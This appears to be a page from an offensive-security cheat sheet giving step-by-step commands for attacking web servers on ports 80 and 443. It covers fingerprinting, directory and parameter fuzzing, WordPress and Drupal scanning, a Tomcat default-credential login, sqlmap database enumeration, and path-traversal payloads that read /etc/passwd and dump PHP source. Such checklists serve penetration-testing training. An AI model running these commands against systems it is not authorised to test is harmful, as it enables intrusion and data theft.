Howlsec
HOWLSEC
offensive security
Back to Port Tracker
🕸️

HTTP / HTTPS

Port 80 / 443Web

Web servers — fingerprint, directory brute, parameter fuzz, and hunt for CVEs.

// methodology checklist

Step-by-step commands

1

Fingerprinting

howlsec@kali·shell
whatweb http://$t
howlsec@kali·shell
nmap -p80,443 --script http-title,http-server-header,http-enum $t
howlsec@kali·shell
curl -sI http://$t
howlsec@kali·shell
wafw00f http://$t
2

Content discovery

howlsec@kali·shell
feroxbuster -u http://$t -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
howlsec@kali·shell
gobuster dir -u http://$t -w /usr/share/wordlists/dirb/common.txt
howlsec@kali·shell
ffuf -u http://$t/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
3

Parameter / virtual host fuzz

howlsec@kali·shell
ffuf -u http://$t/?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
howlsec@kali·shell
ffuf -u http://$t -H 'Host: FUZZ.$domain' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
4

Technology-specific checks

Look at whatweb/nmap output and pivot to tech-specific attacks.

howlsec@kali·shell
# WordPress
howlsec@kali·shell
wpscan --url http://$t --enumerate ap,u,t
howlsec@kali·shell
# Drupal
howlsec@kali·shell
droopescan scan drupal -u http://$t
howlsec@kali·shell
# Tomcat
howlsec@kali·shell
curl -s http://$t:8080/manager/html -u tomcat:tomcat
5

SQL injection

howlsec@kali·shell
sqlmap -u 'http://$t/page.php?id=1' --batch --dbs
howlsec@kali·shell
sqlmap -u 'http://$t/page.php?id=1' --batch -D <db> --tables
6

LFI / RFI / Path Traversal

howlsec@kali·shell
curl 'http://$t/page.php?file=../../../../etc/passwd'
howlsec@kali·shell
curl 'http://$t/page.php?file=php://filter/read=convert.base64-encode/resource=index.php'